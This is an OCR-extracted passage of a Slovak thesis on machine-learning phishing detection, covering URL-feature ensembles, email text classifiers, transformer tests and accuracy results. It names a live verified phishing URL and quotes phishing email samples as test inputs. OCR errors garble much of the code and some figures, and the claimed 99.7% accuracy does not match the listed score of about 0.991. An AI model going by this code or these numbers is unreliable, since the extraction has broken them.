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estimators = [('rfc', rfc), ('knn', knn), ('xgb', xgb), ('nn', cnn), ('cb’',
cb), ]

stacking = StackingClassifier(estimators=estimators, final_estimator=Random-
ForestClassifier())

bagging = BaggingClassifier(base_estimator=RandomForestClassifier(), n_esti-
mators=10)

boosting = AdaBoostClassifier(base_estimator=RandomForestClassi-
fier(max_depth=5), n_estimators=50,learning_rate=0.4)

voting = VotingClassifier(estimators=estimators, voting='hard")

ensemble_methods = [stacking,bagging,boosting,voting]

5.1.7.1 Trénovanie a testovanie

Rovnako ako u Al modelov, na vstup st privedené extrahované features a pole obsahujice
ensemble metody. Dal§im krokom je rozdelenie na trénovaciu a testovaciu mnozinu a né-

sledné skalovanie.
Dalsi postup je uplne rovnaky ako pri trénovani Al modelov v kapitole vysiie.

def supervised_ensemble_train_test(features_array, ensemble_methods):

y = np.array(data[ 'Label'])

# split data into training and testing sets

X_train, X_test, y_train, y_test = train_test_split(features_array, vy,
test_size=0.2, random_state=42)

# standardize data
X_train = sc.fit_transform(X_train)
X_test = sc.transform(X_test)

for ensemble in ensemble_methods:
ensemble.fit(X_train, y_train)
ensemble pred = ensemble.predict(X test)
accuracy = accuracy _score(y_test, ensemble pred)
precision = precision_score(y_test, ensemble_pred, average='macro')
recall = recall score(y_test, ensemble pred, average='macro')
fl = f1_score(y_test, ensemble_pred, average='macro')
print(f"{ensemble} method - Accuracy: {accuracy}, Precision: {preci-
sion}, Recall: {recall}, F1 score: {f1}")

5.1.7.2 Predikcia

Predikcia taktiez prebieha uplne rovnako. Extrahuju sa features z URL adresy, naskaluju sa
a predikované hodnoty s vypisané na vystup. V tomto pripade uz sa vahované a vic¢Sinové

hlasovanie neprevadzaj.
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def supervised_ensemble_prediction(sc, url, ensemble_methods):
features = np.array(Features_Extraction.extract_features(url)).re-
shape(1, -1)
features = sc.transform(features)

for ensemble in ensemble_methods:
ensemble pred = ensemble.predict(features)
print(f"{ensemble} prediction: ", ensemble pred)

5.1.8  Presnost’ urcenia a test na realnych URL

5.1.8.1 Metody vyhodnocovania presnosti
Pred ukédzkou metod je nutné vysvetlit’ pouZzité pojmy:
True Positive oznacuje vSetky datové vzorky, ktoré boli spravne oznacené ako phishing.

False Positive naopak oznacuje tie, ktoré boli klasifikované ako phishing, av§ak v skutoc-

nosti sa jedna o legitimne datové vzorky.

True Negative oznacuje vSetky datové vzorky, ktoré boli spravne klasifikované ako legi-
timne, pricom False Negative oznacuje tie vzorky, ktoré boli nespravne klasifikované ako

legitimne, pricom sa v skuto¢nosti jedna o phishing.

Presnost’ modelov bola vyhodnocovana 4 metédami [68]:

True Positive + True Negative

Accuracy =

Vsetky klasifikacie
Precisi True Positive
recision =
True Positive + False Positive
True Positive
Recall =

True Positive + False Negative

Precision * Recall

F1 =2
score Precision + Recall
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5.1.8.2 AI Modely - vyhodnotenie
Random Forest

RandomForestClassifier() Cross validation accuracies
mean: ©0.932386433484124 , Precision: ©.9197392227344887, Recall:
0.8842267749849904, F1 score: 0.9003206609764919

K-Nearest Neighbor

KNeighborsClassifier() Cross validation accuracies
mean: 0.9194006006564696, Precision: ©.8974351206505019, Recall:
0.8678240668743828, F1 score: 0.8813868538741196

Neuronova siet’

MLPClassifier() Cross validation accuracies mean: ©.9162453492085907, Pre-
cision: 0.8993559850672279, Recall: 0.8536797764831066, F1l score:
0.8735964920583571

XGBoost

XGBClassifier() Cross validation accuracies mean: ©.9208500494812595 , Pre-
cision: 0.9074218247899265, Recall: ©.8569703381933285, F1 score:
0.878727111034189

CatBoost

CatBoostClassifier() Cross validation accuracies mean: ©.9268672073384426,
Precision: 0.9142566151799089, Recall: 0.8701393090738081, F1 score:
0.8895964468213182

Zhodnotenie presnosti

Vo vSeobecnosti je zname, Ze zvySovanie presnosti nad hranicou 90 % je vel'mi kompiko-
vané, nakol’ko presnost’ znacne znehodnocuju false positives. V rieSeni implementovanom

v praci sa vSak podarilo dosiahnut’ aj hodnoty nad 90 %.

Najpresnejsi je vo vSetkych metddach vypoctu presnosti sa javi Random forest klasifikator,

préave preto je pouzity ako hlavny klasifikator v ensemble metodach.
Vseobecne sa presnost’ pohybuje v tychto rozmedziach:

e Accuracy: 91,6 — 93,2 %

e Precision: 89,7 - 91,9 %

e Recall: 85,3 - 88,4 %

e F1 score: 87,3 -90,0 %
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Test na realnych URL adresach

Spravne klasifikovand URL adresa Google prekladaca. Nespravne urcenie pochadza len

z bagging ensemble metody.

Enter URL to classify: https://translate.google.cz/?hl=cs&sl=en&tl=sk&text=s&op=tran-

slate
URL adresa je legitimna
URL adresa je legitimna

Druhym pokusom je urcenie phishingovej URL adresy z pododdielu 3.3.1.3. Toto je opit’

spravne uréené vsetkymi klasifikatormi:
Enter URL to classify: https://dev-leonwels.pantheonsite.io/
URL adresa je phishing

URL adresa je phishing

5.1.8.3 Ensemble metody

Stacking Ensemble - Accuracy: 0.933631765251087, Precision: 0.9162046724389177, Re-
call: 0.8885762753716849, F1 score: 0.9013702046744411

Bagging Ensemble - Accuracy: 0.9327443575661365, Precision: 0.9217183528317977, Re-
call: 0.8796514705362213, F1 score: 0.8983714738488047

Boosting Ensemble - Accuracy: 0.9058756248829115, Precision: 0.8933721644741586,
Recall: 0.8246855150972809, F1 score: 0.8523300583587324

Voting Ensemble - Accuracy: 0.9285636813614806, Precision: 0.9179704675463247, Re-
call: 0.8705909171979569, F1 score: 0.8913171639299053

Zhodnotenie presnosti

NajpresnejSou metddou je stacking metodda s presnost'ou 93.3 %. VSeobecne sa presnost’ po-

hybuje v tychto rozmedziach:
e Accuracy: 90,5-93,3 %

e Precision: 89,3 -92,1 %
e Recall: 82,4 — 88,8 %
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e F1 score: 85,2-90,1 %

Test na realnych URL

Aplikovand je rovnakd URL adresa ako bola pouzitd na overenie u Al modelov. Ako je
mozn¢é vidiet’ z vystupu programu, vSetky klasifikatory klasifikovali URL spravne ako legi-

timnu (&)

Enter URL to classify: https://translate.google.cz/?hl=cs&sl=en&tl=sk&text=s&op=tran-

slate

Stacking prediction: [0]
Bagging prediction: [1]
Boosting prediction: [0]

Voting prediction: [0]

Enter URL to classify: https://dev-leonwels.pantheonsite.io/
Stacking prediction: [1]
Bagging prediction: [1]
Boosting prediction: [1]

Voting prediction: [1]

5.1.8.4 Casové iidaje
Nacitanie features zo suboru trvalo priblizne 3 sekundy.

e Loading features from file...

e Features loaded in: 2.74 seconds

Trénovanie vSetkych Al modelov spolu zabralo 5,5 minuty.

e Starting training of models...

e FElapsed time: 316.74 seconds
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Predikcia vratane cross validation, ktora bola vykonané 10 krat pre kazdy Al model trvala

priblizne 55 minut.

e Starting testing...
e FElapsed time: 3271.02 seconds

Ensemble metddy boli merané kazda zvlast. Vysledkom je Cas trénovania stacking ensem-

ble, ktory zabral priblizne 36 minut.

e Starting training of stacking ensemble...

e FElapsed time: 2172.83 seconds

Tréning bagging metody trval 10,5 minuty.

e Starting training of bagging ensemble...
o FElapsed time: 631.25 seconds

Boosting metdda zabrala takmer trojndsobok ¢asu ako bagging, konkrétne takmer 30 mintt.

o Starting training of boosting ensemble...

o FElapsed time: 1782.45 seconds

Najrychlejsie natrénovana bola voting metdda, ktorej tréning trval necelych 5 mintt.

e Starting training of voting ensemble...

e FElapsed time: 294.89 seconds

5.2 Detekcia na zaklade obsahu emailu

Druhou implementovanou metddou v préci je detekcia na zaklade emailu. Tento pristup vy-
uziva Natural Language Processing (NLP), teda spracovanie prirodzeného jazyka. Tento po-
stup je implementovany viacerymi ML modelmi, ktoré text klasifikuja. NavySe su pouzité
aj predtrénované modely zndme ako transformery, ktoré boli trénované na obrovskom mnoz-

stve dat, a su preto pre klasifikaciu textu vel'mi vhodné.



UTB ve Zliné, Fakulta aplikované informatiky 144

5.2.1 Pouzité kniZnice

Program vyuziva rdzne kniznice, pre v§eobecnu funk¢nost’, ktorymi su time ktora sluzia me-
ranie ¢asu, forch, ktord slizi na import modelov umelej inteligencie a numpy, ktora je vyu-
zivana na matematické operacie a datové Struktury.

import time

import torch

import numpy as np

Dalsie kniznice importujt jednotlivé predtrénované modely, ktoré su vyuzivané na klasifi-
kaciu. VSetky tieto modely pochédzaja z kniznice transformers. Kniznica logging sluzi na

pracu z logami, ktoré sa zobrazuju v konzole.

from transformers import AutoTokenizer, AutoModelForSequenceClassification
from transformers import GPT2Tokenizer, GPT2Model

from transformers import ElectraTokenizer, ElectraForSequenceClassification
import logging

Dalej s importované kniZznice a bali¢ky jednotlivych modelov ML, ktoré klasifikuju

emaily. VyuZita je hlavne kniZnica sklearn, ale aj xgboost.

from sklearn.ensemble import RandomForestClassifier

from xgboost import XGBClassifier

from sklearn.neural_network import MLPClassifier

from sklearn.naive_bayes import MultinomialNB

from sklearn.svm import SVC

KniZnice pre rozdelenie dat na trénovaciu a testovaciu mnozinu a funkciu CountVectorizer,
ktord sa pouziva na prevod textovych dokumentov na vektory numerickych hodnét. Kon-
krétne tato funkcia transformuje kolekciu textovych dokumentov na "bag-of-words" repre-

zentaciu, ¢o je vektor, ktory udava pocet vyskytov kazdého slova v dokumente.

Obe opét’ vychadzaja z kniznice sklearn.

from sklearn.feature_extraction.text import CountVectorizer
from sklearn.model_selection import train_test_split

Funkcie ktoré¢ sltizia na vypocet presnosti.
from sklearn.metrics import accuracy score, precision_score, recall score,

fl1_score
from sklearn.model_selection import cross_val score
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Taktiez bolo nutné importovat’ aj druhy stubor, v ktorom st funkcie sliziace na spracovanie

dat.

import Data_Preprocessing

5.2.2 Datova sada (dataset)
Na konkrétnu implementaciu bola pouzita datova sada dostupna na stranke Kaggle.
https://www.kaggle.com/code/balakishan77/spam-or-ham-email-classification/input
Tato sada bola eSte doplnend o niektoré emaily z:

https://www.kaggle.com/datasets/charlottehall/phishing-email-data-by-type?select=phis-
hing data_by type.csv

Pripadne pri d’alSej implementacii by bolo mozné pouzit’ aj subory dat dostupné na Githube:
e https://github.com/TanusreeSharma/phishingdata- Analysis/blob/mas-

ter/1st%20data/PhishingEmailData.csv
e https://github.com/TanusreeSharma/phishingdata-Analysis

5.2.2.1 Predspracovanie suboru dadt

Pri predspracovani je opét’ nutné odstranit’ duplicitné hodnoty a Sum. To je tento krat vyrie-
Sené metodami, ktoré ponuka kniZnica pandas.

dataset = pd.read_csv(r'emails.csv')
dataset.drop duplicates(inplace=True)

Nakol’ko sa jedna o spracovanie textu, je vhodné zredukovat’ pocet slov na ¢o najmensi,
aby bol ¢as potrebny na ucenie a vyhodnotenie ¢o najmensi. To je implementované pro-
strednictvom nasledujiceho prikazu, ktory odstrani vSetky znaky, ktoré nie st pismena

a Cisla, nasledne skonvertuje text na malé pismena a jednotlivé slova oddeli medzerami.

dataset['Text'] = dataset['Text'].map(lambda text: re.sub('["a-zA-Z0O-
9]+"', ' ', text)).apply(
lambda x: (x.lower()).split())


https://www.kaggle.com/code/balakishan77/spam-or-ham-email-classification/input
https://github.com/TanusreeSharma/phishingdata-Analysis/blob/master/1st%20data/PhishingEmailData.csv
https://github.com/TanusreeSharma/phishingdata-Analysis/blob/master/1st%20data/PhishingEmailData.csv
https://github.com/TanusreeSharma/phishingdata-Analysis
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Dal8im krokom je tGprava slov na ich ,.korefiova formu* a odstranenie tzv. stopwords, ¢o st
v anglictine slova ako ,.the, and, of, in“ a tak d’alej, ktor¢ nie su v kontexte textu rele-

vantné. Toto je docielené pomocou algoritmu PorterStemmer.

ps = PorterStemmer()
corpus = dataset['Text'].apply(lambda text_list:
".join(list(map(lambda word: ps.stem(word), (
list(filter(lambda text: text not in set(stopwords.words('en-
glish')), text_list)))))))

Poslednym krokom je vytvorenie tzv. ,,Bag of Words®, ¢o je v tomto pripade pole ,,X* ob-
sahujuce vSetky slova, ktoré st vystupom z predoslych procesov spracovania.
V poli z ndzvom ,,y* su ulozené oznacenia jednotlivych emailov. Tie sa v stibore dat na-

chadzali v druhom stipci.

X = cv.fit_transform(corpus.values).toarray()
y = dataset.iloc[:, 1].values #ziskanie druheho stlpca
return X,y

5.2.3 Detekcia s vyuZitim modelov Al

Modely su definované vo funkcii main. V praci st vyuzité nasledujuce modely: Naive Ba-

yes, Random Forest, XGBoost, MultiLayerPerceptron — neurdénova siet’ a Support Vector

Machine.
mnb = MultinomialNB(alpha=1.0, class_prior=None, fit_prior=True)
rfc = RandomForestClassifier()
xgb = XGBClassifier()
nn = MLPClassifier()
svm = SVC()

Tie st nasledne vloZené do pol’a, nakol'ko proces trénovania, testovania a predikcie je
u kazdého modelu rovnaky, je mozné pouzit’ cyklus a zredukovat’ tak mnozstvo kodu opa-

kovanym behom.

models = np.array([mnb, rfc, xgb, nn, svm])
X, y = Data_Preprocessing.data_preprocessing(cv)
for classifier in models:
NLP_training(classifier, X, y)
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5.2.3.1 Trénovanie a testovanie

Trénovanie a testovanie je vykonavané vo funkcii NLP_training, ktord ako parametre pri-

jima konkrétny klasifikator, bag of words pole a pole obsahujice oznacenia.

Prvym krokom v tejto funkcii je rozdelenie vstupov na trénovaciu a testovaciu mnozinu po-
mocou funkcie train_test _split. Nasledne je trénovanie vykonavané pomocou prikazu ,,clas-
sifier.fit( bag of words train, oznacenia )* atestovanie pomocou classifier.predict(
bag of words test ). Poslednym krokom je vypocet presnosti a to metddami accuracy, pre-

cision, recall a f1. Zaroven je aplikované cross validation, ktora je prevadzana 10 krat.
Presnost’ modelov je detailejSie popisand v oddiele 5.2.5.

def NLP_training(classifier, X, y):
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

classifier.fit(X_train, y_train)
y_pred = classifier.predict(X_test)

accuracy = accuracy_score(y_test, y pred)

precision = precision_score(y_test, y_pred, average='macro')

recall = recall score(y_test, y pred, average='macro')

fl = f1_score(y_test, y_pred, average='macro')

print(f"{classifier} Ensemble - Accuracy: {accuracy}, Precision: {preci-
sion}, Recall: {recall}, F1 score: {f1}")

# Applying k-Fold Cross Validation

accuracies = cross_val score(estimator=classifier, X=X_train,
y=y_train,cv=10)

print(f"Cross validation na {classifier} je: ",accuracies.mean())

5.2.3.2 Predikcia

Predikcia novych hodnot je implementovana nekoneénym while cyklom, ktory od uzivatel'a
pozaduje zadanie emailu. V pripade, ze chce pouzivatel program ukoncit’, je mozné tak uro-

bit’ vlozenim znaku ,,q".

Po vlozeni e-mailu je spracovany rovnakym sposobom ako trénovacie data zo suboru dat.

Viac informécii ohl'adom spracovania je v pododdiele 5.2.2.1.

Po spracovani vstupu je volana funkcia NLP predict, kde je email opédt’ vyhodnoteny kaz-

dym z definovanych klasifikatorov.

while True:
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def

email = input("Insert email for classification [g-End]: ")

if email == 'q"':
break
X = Data_Preprocessing.preprocess_text(email, cv)
X.reshape(1, -1)
for classifier in models:
results.append(NLP_prediction(classifier, X))

NLP_prediction(classifier, X):
y_pred = classifier.predict(X)
return y_pred

Vysledky tychto klasifikacii st ulozené do pol'a results. Z tychto vysledkov bude potom
pomocou ensemble metdd vypocitany finalny verdikt.

5.2.3.3 Findlna klasifikdcia pomocou ensemble metod

V préci st na finalnu klasifikéciu implementované 2 ensemble metddy. Prvou je vdhované

hlasovanie, ktoré kazdému z klasifikatorov prida urcitu vahu a vypocita priemer. Nasledne

je podla velkosti tohto priemeru rozhodnuté, ¢i je email legitimny alebo phishingovy.

def ensemble_results(results):

Druhou metoddou je viacSinové hlasovanie, ktoré rozhoduje na zéklade viacsiny. Dolezité

if(len(results) == 5):
weights = [0.2, 0.2, 0.3, 0.2, 0.1]

final_pred = np.average(results, axis=0, weights=weights)

if final_pred >= 0.5:
print('Email je phishingovy')
else:
print('Email je legitimny")
else:
print("error"

teda je pouzivat’ neparny pocet modelov.

data = np.column_stack(results)
flattened_data = data.flatten()
final_pred = np.argmax(np.bincount(flattened_data))
if(final_pred == 1):
print('Email je phishingovy')
else:
print('Email je legitimny")
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5.2.4 Predikcia s vyuZitim predtrénovanych transformerov

Predtrénované transformery st volané do programu az po zadani emailu do konzoly uziva-

tel’'om.

ensemble results(pretrained_transformers(email))

V préci je pouzitych 5 takychto predtrénovanych transormerov, ktorymi su bert, roberta,

disilbert, electra a gpt2.

bert_tokenizer = AutoTokenizer.from_pretrained('bert-base-uncased")
bert_model = AutoModelForSequenceClassification.from_pretrained('bert-base-
uncased', num_labels=2)

roberta_tokenizer = AutoTokenizer.from_pretrained('roberta-base')
roberta_model = AutoModelForSequenceClassification.from_pretrained('roberta-
base', num_labels=2)

distilbert_tokenizer = AutoTokenizer.from_pretrained('distilbert-base-un-
cased')

distilbert_model = AutoModelForSequenceClassification.from_pretrained('dis-
tilbert-base-uncased’, num_labels=2)

electra_tokenizer = ElectraTokenizer.from_pretrained('google/electra-small-
discriminator')

electra_model = ElectraForSequenceClassification.from_pretra-
ined('google/electra-small-discriminator', num_labels=2)

gpt2 tokenizer = GPT2Tokenizer.from_pretrained('gpt2')
gpt2_tokenizer.add_special_tokens({'pad_token': '[PAD]'})

gpt2_model = GPT2Model.from_pretrained('gpt2")

classifier = torch.nn.Linear(gpt2_model.config.n_embd, 2)

Predikcia vSetkych tychto modelov je implementovana rovnako (s vynimkou gpt2, ¢o je
ale oSetrené podmienkou), preto je opit’ mozné uloZenie modelov a tokenizerov do poli a
pouzitie for cyklu.

Definované tokenizery rozdelia emaily na vlastné skupiny slov a kazdy tento model ho vy-
hodnoti zvlast.

Vysledky st opét’ ulozené do pol'a ,results* a presne tak ako pri klasifikacii prostrednic-
tvom vlastne trénovanych modelov v kapitolach vyssie st predikcie pomocou ensemble
metod zredukované na jednu konkrétnu predikciu.

for tokenizer, model in zip(tokenizers, models):

# Tokenize the email and add special tokens

inputs = tokenizer(email, return_tensors='pt', padding=True, trunca-
tion=True)

# Make a prediction using the model
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outputs = model(**inputs)
if (model == gpt2_model):
logits = classifier(outputs.last_hidden_state[:, 0, :])
else:
logits = outputs.logits
predicted_class = torch.argmax(logits, dim=1).item()

results.append(predicted class)
return results

5.2.5 Presnost’ urcenia a test na realnych URL

V tejto kapitole bude zhodnotend presnost’ a Casova narocnost’.

5.2.5.1 AI modely
Naive Bayes

Cross validation accuracy na MultinomialNB() je: ©.9898751028706976, Preci-
sion: ©.9855325880615904, Recall: 0.9904233742106474, F1 score:
0.9879489723239723

Random Forest Classifier

Cross validation accuracy na RandomForestClassifier()
je: ©.9790932855690564, Precision: ©0.9849715481833933, Recall:
0.9584906209465527, F1 score: ©.9708573625528643

XGBoost

Cross validation na XGBClassifier() je: ©.9883366413322362, Precision:
0.9779922278707883, Recall: 0.9768340978018397, F1 score: 0.9774114384719705

Neuronova siet’

Cross validation accuracy na MLPClassifier() je: ©.9907580965290217, Preci-
sion: 0.9863685614269044, Recall: ©.987542923026794, F1 score:
0.9869540047043607

Support Vector Machine

Cross validation accuracy na SVC() je: ©.9773321392264125, Precision:
0.9811126779784378, Recall: ©.9728909198218662, F1 score: 0.9769267192784667
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Zhodnotenie presnosti

Najpresnejsim klasifikatorom je neurénova siet’ s presnostou 99,7 %, ¢o je len o 0,8 % lepsi
vysledok ako dosiahol Naibe Bayes klasifikator s presnost'ou 98,9 %. VSeobecne sa presnost’

pohybuje v tychto rozmedziach:

e Accuracy: 97,9 -99,7 %
e Precision: 97,8 -98,6 %
e Recall: 95,8 -99,0 %
e Fl score: 97,1 -98,7%
Celkovo je tu ovela vysSia presnost’ ako pri klasifikéacii na zaklade URL, avs$ak to je dosle-

dok ovel’a mensieho suboru dat.

Test na realnych emailoch

Prvy test prebieha na legitimnom emaile, ktory informuje pouzivatel'ov o vyskyte phishin-

govych utokov. Natrénované modely ho klasifikovali spravne.

Insert email for classification [q-End]: We want to alert students to be aware of emails they
may receive about internship or employment opportunities. Phishing scams are on the rise

and may come in via email, text, and phone calls.
Email je legitimny

Email je legitimny

Druhym testom je taktiez legitimny email, ktory informuje pouZivatel'a o platbe. Tento bol

modelmi klasifikovany spravne.

Insert email for classification [q-End]: Hi John, Just a friendly reminder that the next pay-
ment for your account ending in 5383 is scheduled for automatic withdrawal from your bank
account on November 10, 2020. Amount to be withdrawn: $149.99 No action is needed on
your part, we are just keeping you in the loop! Thanks for choosing ABC Business!

Email je legitimny

Email je legitimny
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Dalsim prikladom je uz phishingovy email, ktory informuje uZivatela o zablokovani Giétu.
Opiét ho natrénované modely urcili spravne.

Insert email for classification [q-End]: Attention recipient , We have received your request
to terminate your email account below, and the request will be concluded within 12hours
from now.

Email je phishingovy

Email je phishingovy

Poslednym testovacim emailom je phishingovy email, ktory informuje pouzivatel’a o vel'mi

lakavej pracovnej ponuke, ktora znie az neredlne. Modely klasifikuja spravne ako phishing.

Insert email for classification [q-End]: Hello, Are you currently in the US? Here is an oppor-
tunity for you to work part time after classes and earn $500 weekly. The job is completely
done online and can be completed anytime in the evening/night at home and won't take much
of your time daily, you don't have to be online all day and don't need any professional skill
to do the job, all you need is just come online before going to bed to forward all order of the

day made by agents to the supplier and you are done for the day.
Email je phishingovy

Email je phishingovy

5.2.5.2 Transformery

Nakol’ko transformery uz st predtrénované, nebolo potreba ich trénovat’ znova a je mozné

ich priamo pouzit’ na realne e-maily.

Test na realnych emailoch

Pre test na transformeroch boli pouZité rovnaké emaily ako na test modelov, je preto mozné
porovnat’ vysledky. Pri porovnani je teda mozné vidiet’, ze transformery nespravne urcili

tento e-mail ako phishingovy.
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Insert email for classification [q-End]: We want to alert students to be aware of emails they
may receive about internship or employment opportunities. Phishing scams are on the rise

and may come in via email, text, and phone calls.
Email je phishingovy

Email je phishingovy

Druhy email uz je urCeny spravne aj v pripade transformerov.

Insert email for classification [q-End]: Hi John, Just a friendly reminder that the next pay-
ment for your account ending in 5383 is scheduled for automatic withdrawal from your bank
account on November 10, 2020. Amount to be withdrawn: $149.99 No action is needed on

your part, we are just keeping you in the loop! Thanks for choosing ABC Business!
Email je legitimny

Email je legitimny

Nasleduje opit’ nespravne urcenie phishingového emailu.

Insert email for classification [q-End]: Attention recipient , We have received your request
to terminate your email account below, and the request will be concluded within 12hours
from now.

Email je legitimny

Email je legitimny

Posledny email je klasifikovany spravne.

Insert email for classification [q-End]: Hello, Are you currently in the US? Here is an oppor-
tunity for you to work part time after classes and earn $500 weekly. The job is completely
done online and can be completed anytime in the evening/night at home and won't take much
of your time daily, you don't have to be online all day and don't need any professional skill
to do the job, all you need is just come online before going to bed to forward all order of the
day made by agents to the supplier and you are done for the day.

Email je phishingovy

Email je phishingovy
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Ako je mozné pozorovat’, predtrénované transformery nedosahuju vel’ka presnost’ a preto
nie su az tak vhodné. Moznost'ou ako zvysit' ich presnost’ je ich fine-tuning, teda dotrénova-

nie na subore dat.

5.2.5.3 Casové idaje

Preprocesing, ktory je spominany v kapitole 5.2.2.1 trval na subore dat, ktory obsahuje okolo
8000 unikatnych emailov priblizne 300 sekund, teda 5 minut.

Data preprocessing...
preprocessing completed successfully in: 298.30 seconds

Nésledné trénovanie vSetkych modelov zabralo priblizne 9 minut.
Staring training...

Training completed successfully in: 549.65 seconds
5.3 Zhodnotenie vysledkov

5.3.1 Porovnanie s rieSeniami z vedeckych ¢lankov

Pre porovnanie vysledkov s aktualnymi rieSeniami v danej oblasti je moZné pouZit’ rieSenia

z vedeckych ¢lankov spomenuté v podkapitole 1.8.

RieSenie popisované v oddiele 1.8.1 implementuje binarnu klasifikaciu na zadklade URL ad-
resy prostrednictvom neuronovej siete. Neurénova siet’ je trénovana na subore dat, priCom
vyuziva 15 preddefinovanych features. Na rozdiel od rieSenia implementovaného v tejto
préci pracuje neurdénova siet’ na principe detekcie odl'ahlych hodnét, ¢o umoziluje aj vyuZitie

neoznacenych siiborov dat a trénovanie bez ucitel’a.

Navrhnuté rieSenie je vSak zna¢ne jednostranné, nakol’ko sa spolieha iba na ur¢enie jedného
klasifikatora. VyuZitie viacerych klasifikdtorov umoznuje vyuzit' ich odlisSné metody pri-
stupu, a ich spojenie pomocou ensemble metdd, o mdze zlepsit’ presnost’ detekcie r6znych
URL adries. Taktiez presnost’ rieSenia je nizSia v porovnani s rieSenim navrhnutym v tejto
praci, ¢o je mozné vidiet’ na tabul’ke niz§ie. Presnost’ modelov navrhnutych v tejto praci je

popisana v oddiele 5.1.8.
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RieSenie z ¢lanku v oddiele 1.8.2 je vel'mi kvalitné. Rovnako ako rieSenie navrhnuté v tejto
praci a umoziuje rychle trénovanie, ktoré prebiecha na vel'kom stbore dat. Taktiez vysledky
su vel'mi presné, kde metddy navrhnuté v ¢lanku dosahuju nepatrne vacsiu presnost’ ako
metody navrhnuté v tejto praci. AvSak Co sa tyka robustnosti, rieSenie v tejto praci je uni-
katne, nakol'ko spaja viacero klasifikatorov prostrednictvom ensemble metdd, ktoré vyuzi-

vaju klasifikaciu vSetkych natrénovanych modelov a nie len jedného najpresnejsieho.

RieSenie v oddiele 1.8.3 ponuka zaujimavy pristup ku klasifikéacii phishingu, pomocou RNN
s vyuzitim LSTM. Tento pristup dosahuje vel'mi vysoku uspesnost, na subore dat, pricom
na trénovanie je vyuzivanych 29 features. Nevyhodou je, ze model bol trénovany na vel'mi
malom stibore dat obsahujicom menej ako 1000 zdznamov. To moze mat’ vel'ky vplyv na
presnost’ klasifikacie na redlnych URL adresach. Na trénovanie a testovanie modelov v tejto

praci bolo pouzitych viac ako pol milidona unikatnych datovych vzoriek.

Clanok v oddiele 1.8.4 navrhuje rieSenie s vysokou presnostou, ktoré vyuZiva viacero mo-
delov a ich vystupy spracovava do jedného s vyuzitim ensemble metdd, Co je pristup po-
dobny rieSeniu navrhnutému v tejto praci. Modely boli trénované na siboroch dat, ktoré ob-
sahovali 30 uz extrahovanych features a celkovo 11 000 zdznamov, pri¢om tento pocet bol
rozdeleny medzi vSetky modely, teda kazdy model pracoval priblizne s 1100 zdznamami.
Opit’ je nutné poznamenat’, Ze kvalita rieSenia je zavisla na kvalite a mnozstve trénovacich
dat, pricom vicSie mnozstvo trénovacich dat umoznuje vytvorit’ robustnejsie rieSenie. Zaro-
veil mdZe miernu nevyhodu predstavovat’ fakt, Ze vSetky modely st implementované rovna-

kym sposobom a to rozhodovacimi stromami.

Clanok z oddielu 1.8.5 sa zameriava na porovnanie metod, ktoré st pouzité na detekciu phis-
hinigu. Praca implementuje viacero modelov a porovnava presnost. Vysledkom c¢lanku je
zistenie, ze klasifikdciu phishingu najlepSie vykonava decision tree algoritmus, ¢o sa zho-
duje aj s implementéciou v tejto praci, nakol’ko najlepsiu presnost’ naozaj dosahoval DT kla-
sifikator. Zaroven z ¢lanku vyplyva, Ze k najmenej presnym klasifikdtorom patria SVM
(Support Vector Machine) a Naive Bayes, ktoré boli taktiez v rdmci tejto prace vyskusane,
avsak pre ich nizku presnost’ boli nahradené inymi a v préci sa d’alej nepouzivali.

Tento ¢lanok poskytuje Siroky prehl'ad pouzitenych metdd a postupov, z ktorych je mozné
vychéadzat’ pri vlastnej implementécii. Zaroven poskytuje zdroje dat, na ktorych je mozné

vlastné modely trénovat’.
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5.3.2 Porovnanie s komerénym rieSenim

Pre porovnanie bola pouzita funkcionalita Nextphish Real-Time Scanner, ktord nasledovnt

stranku klasifikovala ako legitimnu.

°t SLASHNEXT Products Soldtions  Technology ~ Partners  Resources  Company  Blog Q)
)
The form e cent seeessl
RESULTS
URL https://dev leonwels pantheonsite.of
Threat Status N/A
Threat Type N/A
Threat Name N/A
First Seen 03152023 19:57:28 UTC
Last Seen 03152023 19:57:48 UTC

Obrazok 93 - Chybné vyhodnotenie URL adresy skenerom od SlashNext

Podl'a webu phishtank sa jedna o overeny phishing [51].

https://dev-lecnwels.pantheonsite.io/

added on Mar 16th 2023 12:32 PM by theboart VALID PHISH ONLINE

Obrazok 94 — Ukéazka URL adresy z databazy phishingu [51]

To je moZné overit porovnanim s oficidlnou strankou www.bhd.com. Je preto jasné, Ze sa

naozaj jedna o phishingovu stranku.

¥
APROVECHALA Y 4
" ECP  oteimose A
PRESTAMO HIPQ : -~~~ HD
! 0 Tu sabes bien dond |
&! 2‘ w *FONDOS DE ENCAJE LEGAL 2023 DISPONIBLES POR TIEMPO LIMITADO.
e sl'md;ejmpl: N mmaw i Agzl.c:q_ . »
Bt § 895% RS\

Obrazok 955 — Podvrhnuta stranka spolo¢nosti BHD


http://www.bhd.com/
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srendo ejemplo podemos cr ea?
el futuro que queremos

GRANDES
LOGROS

PROVIENEN
=MUJERES

Obrazok 96 — Oficilne stranky BHD

Naopak metddy implementované v praci URL klasifikovali spravne ako phishing (1 zna-
mena phishing). Prvé 2 riadky st vystupom klasifikdcie implementovanej Al metdédami, kto-
rych vystup je zoskupeny pomocou 2 ensemble metdd, a d’alSie 4 spravy su vystupy z kon-

krétnych ensemble metdd, ktoré st trénované na subore dat.

Enter URL to classify:
URL adresa je phishing
URL adresa je phishing
Stacking prediction: [1]

Bagging prediction: [1]

Boosting prediction: [1]

Voting prediction: [1]

Obrazok 967 — Klasifikacia URL adresy vytvorenymi modelmi

Z porovnania je mozné vidiet, Ze rieSenie implementované v tejto praci moze v urcitych

ohl'adoch konkurovat’ aj komerénym rieSeniam, pokial sa jedné o klasifikaciu URL adries.



UTB ve Zliné, Fakulta aplikované informatiky 158

5.4 Experiment

Experiment, ktorym sa praca bude zaoberat’ je porovnanie vplyvu navrhnutych features na

presnost’ pri klasifikacii na zaklade URL adresy.

Pre spravne porovnanie je potrebné extrahovat’ zo stiboru dat len features, ktoré boli prevzaté

z literatary, teda 20 features definovanych v pododdiele 5.1.4.1.
Na takychto features je potom potrebné previest’ uenie a testovanie modelov Al
Po dokonceni tohto procesu je mozné vyslednll presnost’ porovnat’, a zistit’ tak, ¢i navrhnuté
features pomohli zvysit’ presnost’ uréenia.
5.4.1 Presnost’ klasifikacie pri pouziti features z literatury
Po odstraneni navrhnutych features z programu bol program spusteny. Po dokonceni algo-
ritmu boli zaznamenané tieto presnosti.
5.4.1.1 AI modely

